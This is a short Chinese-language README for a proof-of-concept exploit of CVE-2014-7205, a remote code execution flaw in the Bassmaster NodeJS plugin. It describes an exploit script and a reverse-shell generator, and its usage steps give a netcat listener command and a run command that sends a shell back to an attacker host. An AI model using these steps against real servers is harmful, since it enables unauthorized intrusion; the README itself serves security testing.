Bassmaster NodeJS 插件 RCE PoC

bassmaster-rce.py：一个用于利用 CVE-2014-7205 的 Python 脚本。 nodeshell.py：一个用于生成 NodeJS 反向 shell 的 Python 模块。

！！仅可用于您拥有测试权限的服务器

概述

CVE-2014-7205 是 Bassmaster NodeJS 插件中的一个远程代码执行漏洞。所有版本 <= 1.5.1 均受影响。该漏洞存在于 lib/batch.js 文件中的 internals.batch 函数中，其中对 eval() 的调用使用了未正确转义的用户输入（基本上，正则表达式未检查请求是否包含恶意代码）。

概念验证

1. 下载或克隆 git 仓库
2. 在 bash 终端中打开一个 netcat 监听器 nc -lvp 4444
3. 确保 bassmaster-rce.py 和 nodeshell.py 位于同一文件夹中
4. 运行 bassmaster-rce.py python3 bassmaster-rce.py -u http://target -p 8080 -l attacker.ip -P 4444

其他

• nodeshell.py 完全可移植到其他使用 Python 的 PoC 和漏洞利用中，这些同样需要为 NodeJS 生成反向 shell。